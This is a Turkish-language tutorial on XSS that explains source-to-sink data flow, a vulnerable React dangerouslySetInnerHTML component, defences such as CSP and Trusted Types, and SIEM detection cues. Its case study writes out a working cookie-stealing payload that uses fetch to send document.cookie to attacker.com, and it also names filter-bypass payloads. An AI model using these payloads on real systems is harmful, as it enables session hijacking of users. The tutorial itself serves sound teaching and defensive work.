Pratik İstismar Dinamikleri
Modern web uygulama mimarilerinde Cross-Site Scripting (XSS), salt bir "alert(1)" tetiklemesinden ziyade, Execution Sink (yürütme havuzu) ve Source Point (kaynak noktası) arasındaki veri akışı yönetimi zafiyetidir. Sahada bu açık, saldırganın kontrolündeki verinin, uygulamanın güven sınırlarını (Trust Boundaries) aşarak DOM (Document Object Model) üzerinde bir script bağlamına (Context) enjekte edilmesiyle tetiklenir.
Keşif aşamasında saldırgan, uygulamanın untrusted input kabul ettiği noktaları (URL parametreleri, fragment identifier (#), post data, hatta WebSocket mesajları) izole eder. Ardından, bu girdinin Response Body içerisinde nerede yansıdığını veya istemci tarafındaki JavaScript (JS) tarafından nasıl işlendiğini analiz eder. Tetikleme, tarayıcının HTML parser'ının veya JS motorunun, veriyi veri olarak değil, çalıştırılabilir kod olarak yorumlamasıyla gerçekleşir. Özellikle
innerHTML, eval(), setTimeout() gibi sink'lere ulaşan kontrolsüz veriler, DOM-based XSS'in temelini oluşturur.Teknik Mekanizma Analizi (Data Flow)
XSS'in mekanik işleyişi, Taint Analysis (leke analizi) prensibiyle açıklanabilir. Veri akışı şu fazlardan geçer:
1. Sources: Verinin uygulamaya girdiği noktadır. Örn:
location.search, document.referrer veya bir API'den dönen JSON nesnesi.2. Processing/Transformation: Veri, tarayıcı tarafından parse edilmeden önce JS fonksiyonları veya sunucu tarafı şablon motorları (Template Engines) tarafından işlenir. Bu aşamada yetersiz Context-Aware Encoding yapılması, zafiyetin ana sebebidir.
3. Sinks: Verinin nihai olarak ulaştığı ve tarayıcı tarafından "işlendiği" yerdir. Eğer veri
element.innerHTML içine basılıyorsa HTML context'indedir; <script> bloğu içindeyse JS context'indedir.Hata, verinin bulunduğu context'in gerektirdiği escaping kurallarının ihlal edilmesidir. Örneğin, bir HTML attribute (nitelik) içinde bulunan verinin sadece
< ve > karakterlerinden arındırılması yeterli değildir; tırnak işaretleri (", ') kırılarak yeni bir nitelik (örn: onmouseover) eklenmesine izin verilmiş olur.Gerçekçi Saldırı Senaryosu (Case Study)
Senaryo: Bir kurumsal CRM sisteminin dashboard ekranı, URL'deki
client_id parametresini alarak kullanıcıya özel bir karşılama mesajı oluşturuyor.Saldırı Akışı:
Saldırgan, kurbanın oturumunu çalmak için şu URL'yi kurbana gönderir:
https://crm.target.com/dashboard?client_id=123<img src=x onerror=fetch('https://attacker.com/log?c='+document.cookie)>Request:
GET /dashboard?client_id=123%3Cimg%20src=x%20onerror=fetch(...)%3E HTTP/1.1
Host: crm.target.com
Cookie: session_id=SECRET_TOKENResponse:
HTML:
<div id="welcome-msg">
Hoş geldiniz, Müşteri ID: 123<img src=x onerror=fetch('https://attacker.com/log?c='+document.cookie)>
</div>
Tarayıcı,
<img> etiketini parse eder, src=x geçersiz olduğu için onerror event handler'ını tetikler. Bu handler, kurbanın session_id bilgisini saldırganın sunucusuna sızdırır.Derinlemesine Kod Analizi
Aşağıdaki zayıf React bileşeni, DOM-based XSS'e örnektir:
JavaScript:
// Zayıf Bileşen Analizi
function UserProfile({ bio }) {
// HATA: 7. satırda veri doğrudan DOM'a aktarılıyor.
return (
<div className="bio-container">
<div dangerouslySetInnerHTML={{ __html: bio }} />
</div>
);
}
Teknik Analiz:
1.
dangerouslySetInnerHTML niteliği, React'in varsayılan XSS protection mekanizmasını (automatic escaping) devre dışı bırakır.2.
bio değişkeni, doğrudan ham HTML olarak render edilir.3. Eğer
bio verisi bir veritabanından geliyorsa ve kaydedilirken sanitize edilmemişse (Stored XSS), sayfayı görüntüleyen her kullanıcı için payload çalışacaktır.4. Çözüm, veriyi
DOMPurify gibi kütüphanelerle sanitize etmek veya mümkünse {bio} şeklinde kullanarak React'in text-content escaping özelliğinden yararlanmaktır.Hatalı Varsayımlar ve Yaygın Yanılgılar
1. "HttpOnly flag kullanımı XSS'i engeller": Yanlıştır.
HttpOnly, sadece cookie'nin JS tarafından okunmasını engeller. Ancak saldırgan hala kurban adına CSRF benzeri eylemler yapabilir, form verilerini çalabilir veya DOM'u manipüle ederek kullanıcıyı sahte login ekranlarına yönlendirebilir.2. "Blacklisting (Kara Liste) yeterlidir":
<script> veya alert kelimelerini filtrelemek, <svg onload=...> veya <details open ontoggle=...> gibi modern bypass yöntemlerine karşı etkisizdir.3. "WAF (Web Application Firewall) varsa güvendeyiz": WAF'lar imza tabanlıdır. Obfuscation (karmaşıklaştırma) ve encoding teknikleri ile WAF kuralları kolaylıkla atlatılabilir. Güvenlik, kodun kendisinde (Source) bitmelidir.
Modern Savunma ve Remediye Stratejileri
Mimari seviyede çözüm için Defense in Depth uygulanmalıdır:
- Content Security Policy (CSP):
script-src 'self' politikası ile inline script'lerin ve dış kaynaklı zararlı script'lerin çalışması engellenmelidir. unsafe-inline ve eval kullanımından kaçınılmalıdır.- Trusted Types API: Modern tarayıcılarda DOM sink'lerine giden verilerin önceden tanımlanmış politikalarla zorunlu olarak sanitize edilmesini sağlar.
- Context-Aware Output Encoding: Veri HTML içinde mi, bir CSS mülkünde mi yoksa bir JS değişkeninde mi yansıtılacak? Her biri için farklı encoding (örn. HTML entity encoding vs. JS hex encoding) uygulanmalıdır.
Güvenlik Profesyoneli Perspektifi
Bir siber güvenlik uzmanı, XSS girişimlerini tespit etmek için SIEM üzerinde şu anomalilere odaklanmalıdır:
1. HTTP loglarında URL parametrelerinde sıkça tekrarlanan
<, >, %3C, %3E karakterleri.2. CSP Violation Reports: Tarayıcıların gönderdiği CSP ihlal raporları, potansiyel bir saldırının veya yanlış yapılandırılmış bir script'in en net kanıtıdır.
3. Loglarda
document.cookie, localStorage, XMLHttpRequest gibi anahtar kelimelerin alışılmadık bağlamlarda (Query string gibi) görülmesi.Teknik Çıkarım
XSS, basit bir girdi filtreleme hatası değil, uygulamanın veri ile kodu birbirinden ayıramamasının bir sonucudur. Seviye 2 analizimizde gördüğümüz üzere, sink ve source noktalarının sıkı denetimi ve modern browser API'larının (CSP, Trusted Types) etkin kullanımı, saldırı yüzeyini minimize etmenin yegane yoludur. Bir sonraki aşamada, bu açıkların mXSS (Mutation XSS) gibi gelişmiş varyasyonları ve tarayıcı parser'larının farklı yorumlama motorları arasındaki uyumsuzlukların nasıl istismar edildiği incelenecektir.